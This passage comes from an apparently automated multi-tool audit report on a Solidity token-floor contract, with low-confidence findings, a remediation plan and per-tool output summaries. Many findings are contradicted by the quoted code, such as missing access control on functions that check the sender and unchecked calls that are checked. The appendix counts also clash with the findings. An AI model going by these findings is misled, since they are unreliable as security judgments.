128 |         if (msg.sender != wirer) revert NotWierer();
129 |         if (hook != address(0)) revert AlreadyWired();
130 |         if (_hook == address(0) || _market == address(0)) revert
ZeroAddress();
131 |         hook = _hook;
132 |         market = _market;

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-045. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:141

PROPERTY	VALUE
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

136 |
137 | // — what comes in —————
138 |
139 | /// @notice Book a skim the hook has already delivered here. Refused
unless
140 | /// the ETH is present – see THE ONE INVARIANT.
>> 141 | function credit(uint128 amount) external {
142 |     if (msg.sender != hook) revert NotHook();
143 |     uint256 accounted = uint256(subsidyPool) + floorPool;
144 |     if (address(this).balance < accounted + amount) {
145 |         revert Unfunded(address(this).balance, accounted + amount);
146 |     }

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-046. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:160
Status	Open (36% conf.)

PROPERTY	VALUE
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

155 |     }
156 |
157 |     /// @notice Hand any ETH sitting here that the books do not know about to
158 |     ///         the FLOOR. Permissionless. Someone who wants to donate to the
159 |     ///         holders simply sends ETH and calls this.
>> 160 |     function sync() external returns (uint128 credited) {
161 |         uint256 accounted = uint256(subsidyPool) + floorPool;
162 |         uint256 bal = address(this).balance;
163 |         if (bal <= accounted) return 0;
164 |         unchecked {
165 |             credited = uint128(bal - accounted);

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-047. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:177
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

172 | // — the subsidy —————
173 |
174 | /// @notice The market draws the whole standing subsidy into the pot it is
175 | /// settling. Roughly an epoch's fees, because that is how long it
176 | /// had to accumulate.
>> 177 | function drawSubsidy() external lock returns (uint128 amount) {
178 |     if (msg.sender != market) revert NotMarket();
179 |     amount = subsidyPool;
180 |     if (amount == 0) return 0;
181 |     subsidyPool = 0;
182 |     unchecked { subsidisedEver += amount; }

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-048. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:200
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

195 |     }
196 |
197 |     /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |     ///         allowance to this contract, which is one approval rather than
a
199 |     ///         transfer-then-trust.
>> 200 |     function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |         if (amount == 0) revert NothingToRedeem();
202 |         uint256 supply = TOKEN.totalSupply();
203 |         if (supply == 0) revert NothingToRedeem();
204 |
205 |         ethOut = uint128((uint256(floorPool) * amount) / supply);

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-049. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:223
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Spoofing Threat: External function without authentication Impact: Anyone can call privileged function

Vulnerable Code

```

218 |         emit Redeemed(msg.sender, amount, ethOut, floorPerToken());
219 |     }
220 |

```

```

221 | // — the books —————
222 |
>> 223 | function books() external view returns (uint256 held, uint256 owed, bool
ties) {
224 |     held = address(this).balance;
225 |     owed = uint256(subsidyPool) + floorPool;
226 |     ties = held == owed;
227 | }
228 |

```

Impact Analysis

Anyone can call privileged function

Recommendation

Add access control modifiers (onlyOwner, onlyRole, etc.)

References

- OWASP Smart Contract Top 10

F-050. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:90
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

Vulnerable Code

```

85 | /// @notice Every wei ever paid out through the floor.
86 | uint128 public redeemedEver;
87 | /// @notice Every wei ever drawn into an epoch pot.
88 | uint128 public subsidisedEver;
89 |
>> 90 | address public hook;
91 | address public market;
92 | address public wirer;

```

```

93 |
94 |     event Credited(uint128 toSubsidy, uint128 toFloor);
95 |     event SubsidyDrawn(address indexed to, uint128 amount);

```

Impact Analysis

State can be read by attackers for manipulation timing

Recommendation

Use internal/private visibility and controlled setters

References

- OWASP Smart Contract Top 10

F-051. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:91
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

Vulnerable Code

```

86 |     uint128 public redeemedEver;
87 |     /// @notice Every wei ever drawn into an epoch pot.
88 |     uint128 public subsidisedEver;
89 |
90 |     address public hook;
>> 91 |     address public market;
92 |     address public wirer;
93 |
94 |     event Credited(uint128 toSubsidy, uint128 toFloor);
95 |     event SubsidyDrawn(address indexed to, uint128 amount);
96 |     event Redeemed(address indexed who, uint256 burned, uint128 ethOut,
uint256 floorAfter);

```

Impact Analysis

State can be read by attackers for manipulation timing

Recommendation

Use internal/private visibility and controlled setters

References

- OWASP Smart Contract Top 10

F-052. threat_model

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:92
Status	Open (36% conf.)
Detected By	threat_model

Description

Threat identified via STRIDE analysis: Category: Tampering Threat: Public state variable without setter protection Impact: State can be read by attackers for manipulation timing

Vulnerable Code

```

87 |    /// @notice Every wei ever drawn into an epoch pot.
88 |    uint128 public subsidisedEver;
89 |
90 |    address public hook;
91 |    address public market;
>> 92 |    address public wirer;
93 |
94 |    event Credited(uint128 toSubsidy, uint128 toFloor);
95 |    event SubsidyDrawn(address indexed to, uint128 amount);
96 |    event Redeemed(address indexed who, uint256 burned, uint128 ethOut,
uint256 floorAfter);
97 |    event Wired(address hook, address market);

```

Impact Analysis

State can be read by attackers for manipulation timing

Recommendation

Use internal/private visibility and controlled setters

References

- OWASP Smart Contract Top 10

F-053. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	36%
Location	0914_flatten_Contract_4.sol:191
Status	Open (36% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————
189 |
190 |     /// @notice ETH per whole TREMOR the floor pays right now, 1e18-scaled.
>> 191 |     function floorPerToken() public view returns (uint256) {
192 |         uint256 s = TOKEN.totalSupply();
193 |         if (s == 0) return 0;
194 |         return (uint256(floorPool) * 1e18) / s;
195 |     }
196 |

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-054. Cross-chain callback without source verification

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:?
Status	Open (36% conf.)
Detected By	crosschain

Description

Cross-chain message or transaction not properly verified

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Attackers can forge messages to drain bridge funds

Recommendation

Verify the source of cross-chain callbacks

References

- OWASP Smart Contract Top 10

F-055. Integer Overflow / Underflow

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2

PROPERTY	VALUE
Confidence	16%
Location	<code>/home/hero/audit_workspace/0914_flatten_Contract_4.sol:194</code> <code>(floorPerToken)</code>
Status	Open (16% conf.)
Detected By	iaudit

Description

Arithmetic operation without overflow protection detected in a contract that may be compiled with Solidity < 0.8.0.

Vulnerable Code

```

189 |
190 |     /// @notice ETH per whole TREMOR the floor pays right now, 1e18-scaled.
191 |     function floorPerToken() public view returns (uint256) {
192 |         uint256 s = TOKEN.totalSupply();
193 |         if (s == 0) return 0;
>> 194 |         return (uint256(floorPool) * 1e18) / s;
195 |     }
196 |
197 |     /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |     ///         allowance to this contract, which is one approval rather than
a
199 |     ///         transfer-then-trust.
```

Impact Analysis

Potential integer_overflow vulnerability detected via pattern analysis

Recommendation

Upgrade to Solidity >= 0.8.0 which has built-in overflow checks, or use OpenZeppelin SafeMath library.

References

- SWC-101
- OWASP Smart Contract Top 10

F-056. Timestamp Dependence

PROPERTY	VALUE
Severity	LOW
Category	

PROPERTY	VALUE
CVSS Score	3.1
Confidence	36%
Location	<code>/home/hero/audit_workspace/0914_flatten_Contract_4.sol:190</code> <code>(drawSubsidy)</code>
Status	Open (36% conf.)
Detected By	iaudit

Description

Contract logic depends on `block.timestamp` which can be slightly manipulated by miners (up to ~15 seconds).

Vulnerable Code

```

185 |         emit SubsidyDrawn(market, amount);
186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————
189 |
>> 190 |     /// @notice ETH per whole TREMOR the floor pays right now, 1e18-scaled.
    191 |     function floorPerToken() public view returns (uint256) {
    192 |         uint256 s = TOKEN.totalSupply();
    193 |         if (s == 0) return 0;
    194 |         return (uint256(floorPool) * 1e18) / s;
    195 |     }

```

Impact Analysis

Potential timestamp_dependence vulnerability detected via pattern analysis

Recommendation

Avoid using `block.timestamp` for critical logic such as randomness or strict time-sensitive conditions. Use block numbers for ordering guarantees.

References

- SWC-116
- OWASP Smart Contract Top 10

F-057. access_control

PROPERTY	VALUE
Severity	MEDIUM

PROPERTY	VALUE
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:7 (totalSupply)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

2 | pragma solidity =0.8.28;
3 |
4 | // src/Contract.sol
5 |
6 | interface ITremor {
>> 7 |     function totalSupply() external view returns (uint256);
8 |     function burnFrom(address from, uint256 v) external;
9 | }
10 |
11 | //
12 | //

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-058. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:127 (wire)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

122 |         TOKEN_ADDR = _token;
123 |         SUBSIDY_BPS = _subsidyBps;
124 |         wirer = _wirer;
125 |     }
126 |
>> 127 |     function wire(address _hook, address _market) external {
128 |         if (msg.sender != wirer) revert NotWierer();
129 |         if (hook != address(0)) revert AlreadyWired();
130 |         if (_hook == address(0) || _market == address(0)) revert
ZeroAddress();
131 |         hook = _hook;
132 |         market = _market;

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-059. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:141 (credit)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

136 |
137 | // — what comes in —————
138 |
139 | /// @notice Book a skim the hook has already delivered here. Refused
unless
140 | /// the ETH is present — see THE ONE INVARIANT.
>> 141 | function credit(uint128 amount) external {
142 |     if (msg.sender != hook) revert NotHook();
143 |     uint256 accounted = uint256(subsidyPool) + floorPool;
144 |     if (address(this).balance < accounted + amount) {
145 |         revert Unfunded(address(this).balance, accounted + amount);
146 |     }

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-060. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:160 (sync)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

155 |     }
156 |
157 |     /// @notice Hand any ETH sitting here that the books do not know about to
158 |     ///         the FLOOR. Permissionless. Someone who wants to donate to the
159 |     ///         holders simply sends ETH and calls this.
>> 160 |     function sync() external returns (uint128 credited) {
161 |         uint256 accounted = uint256(subsidyPool) + floorPool;
162 |         uint256 bal = address(this).balance;
163 |         if (bal <= accounted) return 0;
164 |         unchecked {
165 |             credited = uint128(bal - accounted);

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-061. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:177 (drawSubsidy)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

172 | // — the subsidy —————
173 |
174 | /// @notice The market draws the whole standing subsidy into the pot it is
175 | /// settling. Roughly an epoch's fees, because that is how long it
176 | /// had to accumulate.
>> 177 | function drawSubsidy() external lock returns (uint128 amount) {
178 |     if (msg.sender != market) revert NotMarket();
179 |     amount = subsidyPool;
180 |     if (amount == 0) return 0;
181 |     subsidyPool = 0;
182 |     unchecked { subsidisedEver += amount; }

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-062. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:191 (floorPerToken)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————
189 |
190 |     /// @notice ETH per whole TREMOR the floor pays right now, 1e18-scaled.
>> 191 |     function floorPerToken() public view returns (uint256) {
192 |         uint256 s = TOKEN.totalSupply();
193 |         if (s == 0) return 0;
194 |         return (uint256(floorPool) * 1e18) / s;
195 |     }
196 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-063. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:200 (redeem)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

195 |     }
196 |
197 |     /// @notice Burn TREMOR for a pro-rata share of the floor. Requires an
198 |     ///         allowance to this contract, which is one approval rather than
a
199 |     ///         transfer-then-trust.
>> 200 |     function redeem(uint256 amount) external lock returns (uint128 ethOut) {
201 |         if (amount == 0) revert NothingToRedeem();
202 |         uint256 supply = TOKEN.totalSupply();
203 |         if (supply == 0) revert NothingToRedeem();
204 |
205 |         ethOut = uint128((uint256(floorPool) * amount) / supply);

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-064. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:223 (books)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Missing or improper access control modifiers on sensitive functions that should be restricted.

Vulnerable Code

```

218 |         emit Redeemed(msg.sender, amount, ethOut, floorPerToken());
219 |     }
220 |
221 |     // — the books
222 |
>> 223 |     function books() external view returns (uint256 held, uint256 owed, bool
ties) {
224 |         held = address(this).balance;
225 |         owed = uint256(subsidyPool) + floorPool;
226 |         ties = held == owed;
227 |     }
228 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add appropriate access control modifier (onlyOwner, onlyRole) or require() check for sender authorization.

References

- SWC-105
- OWASP Smart Contract Top 10

F-065. unchecked_call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:183 (drawSubsidy)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

Vulnerable Code

```

178 |         if (msg.sender != market) revert NotMarket();
179 |         amount = subsidyPool;
180 |         if (amount == 0) return 0;
181 |         subsidyPool = 0;
182 |         unchecked { subsidisedEver += amount; }
>> 183 |         (bool ok,) = market.call{value: amount}("");
184 |         if (!ok) revert PayFailed();
185 |         emit SubsidyDrawn(market, amount);
186 |     }
187 |
188 |     // — 3.2 / 3.4 · the floor —————

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Always check the boolean return value of low-level calls. Use require() to ensure the call succeeded.

References

- SWC-104
- OWASP Smart Contract Top 10

F-066. unchecked_call

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.6
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:216 (redeem)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Return value from a low-level call, send, or delegatecall is not checked for success or failure.

Vulnerable Code

```

211 |         unchecked {
212 |             floorPool -= ethOut;
213 |             redeemedEver += ethOut;
214 |         }
215 |
>> 216 |         (bool ok,) = msg.sender.call{value: ethOut}("");
217 |         if (!ok) revert PayFailed();
218 |         emit Redeemed(msg.sender, amount, ethOut, floorPerToken());
219 |     }
220 |
221 |     // — the books —————

```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Always check the boolean return value of low-level calls. Use require() to ensure the call succeeded.

References

- SWC-104
- OWASP Smart Contract Top 10

F-067. timestamp_dependence

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	3.1
Confidence	36%
Location	/home/hero/audit_workspace/0914_flatten_Contract_4.sol:157 (credit)
Status	Open (36% conf.)
Detected By	llamaaudit

Description

Reliance on block.timestamp for critical logic, which miners can manipulate within a ~15 second window.

Vulnerable Code

```

152 |         creditedEver += amount;
153 |     }
154 |     emit Credited(toSub, toFloor);
155 | }
156 |
>> 157 | /// @notice Hand any ETH sitting here that the books do not know about to
158 | ///         the FLOOR. Permissionless. Someone who wants to donate to the
159 | ///         holders simply sends ETH and calls this.
160 | function sync() external returns (uint128 credited) {
161 |     uint256 accounted = uint256(subsidyPool) + floorPool;
162 |     uint256 bal = address(this).balance;

```

Impact Analysis

Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

Recommendation

Avoid using block.timestamp for time-critical logic. Use block numbers or an oracle for more reliable timing.

References

- SWC-116
- OWASP Smart Contract Top 10

F-068. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	3.1
Confidence	14%
Location	contract.sol:53
Status	Open (14% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

6. Remediation Roadmap

6.1 Prioritized Actions

PRIORITY	FINDING	SEVERITY	RECOMMENDED ACTION
5	reentrancy-state-change	HIGH	Immediate fix required

PRIORITY	FINDING	SEVERITY	RECOMMENDED ACTION
6	reentrancy-state-change	HIGH	Immediate fix required

6.2 Remediation Timeline

PHASE	WEEK	PRIORITY	FINDINGS	ACTION
1	Week 1	Critical & High	0 + 2	Immediate remediation required
2	Week 2	Medium	47	Address medium severity issues
3	Week 3	Low & Info	10 + 9	Fix low priority items
4	Week 4	Verification	-	Re-audit and validation

6.3 Quick Wins

Review findings marked as "Low" effort for quick security improvements.

6.4 Effort vs Impact Matrix

		IMPACT		
		Low	Medium	High
E F F O R T		Avoid 0	Consider 4	Schedule 2
	High ↑ Med ↑ Low	Defer 4	Plan 43	Priority 0
		If Time 15	Quick Win 0	DO FIRST! 0

Prioritization Summary:

- **Schedule (2):** High effort, high impact - important but complex

7. Appendices

Appendix A: Tool Execution Details

A.1. slither

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.2. aderyn

Execution Time: N/A **Exit Code:** 0 **Findings:** 7

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 7  
  
Findings summary:  
1. [HIGH] eth-send-unchecked-address (line 200)  
2. [HIGH] reentrancy-state-change (line 202)  
3. [HIGH] reentrancy-state-change (line 210)  
4. [LOW] large-numeric-literal (line 120)  
5. [LOW] large-numeric-literal (line 147)  
6. [LOW] literal-instead-of-constant (line 120)  
7. [LOW] literal-instead-of-constant (line 147)
```

A.3. solhint

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.4. wake

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.5. semgrep

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.6. fouranalyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 3

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 3  
  
Findings summary:  
1. [LOW] missing_zero_address_check (line 8)  
2. [LOW] missing_zero_address_check (line 127)  
3. [LOW] use_of_block_timestamp (line 190)
```

A.7. echidna

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.8. medusa

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.9. foundry

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.10. dogefuzz

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.11. vertigo

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.12. hardhat

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.13. mythril

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.14. manticore

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.15. halmos

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.16. oyente

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.17. pakala

Execution Time: N/A **Exit Code:** 0 **Findings:** 1

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 1  
  
Findings summary:  
1. [CRITICAL] fund_extraction (line 183)
```

A.18. certora

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.19. smtchecker

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.20. propertygpt

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.21. scribble

Execution Time: N/A **Exit Code:** 0 **Findings:** 9

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 9  
  
Findings summary:  
1. [HIGH] invariant_violation (line 7)  
2. [HIGH] invariant_violation (line 192)  
3. [HIGH] invariant_violation (line 202)  
4. [MEDIUM] precondition_failure (line 8)  
5. [MEDIUM] precondition_failure (line 141)  
6. [MEDIUM] precondition_failure (line 200)  
7. [HIGH] postcondition_failure (line 7)  
8. [HIGH] postcondition_failure (line 160)  
9. [HIGH] postcondition_failure (line 177)
```

A.22. solcmc

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.23. smartllm

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.24. gptscan

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.25. llmsmartaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.26. gptlens

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.27. llamaaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.28. iaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.29. dagnn

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.30. smartbugs_ml

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.31. smartbugs_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.32. smartguard

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.33. peculiar

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.34. threat_model

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.35. gas_analyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.36. mev_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.37. contract_clone_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.38. defi

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.39. advanced_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.40. upgradability_checker

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.41. crosschain

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.42. zk_circuit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.43. bridge_monitor

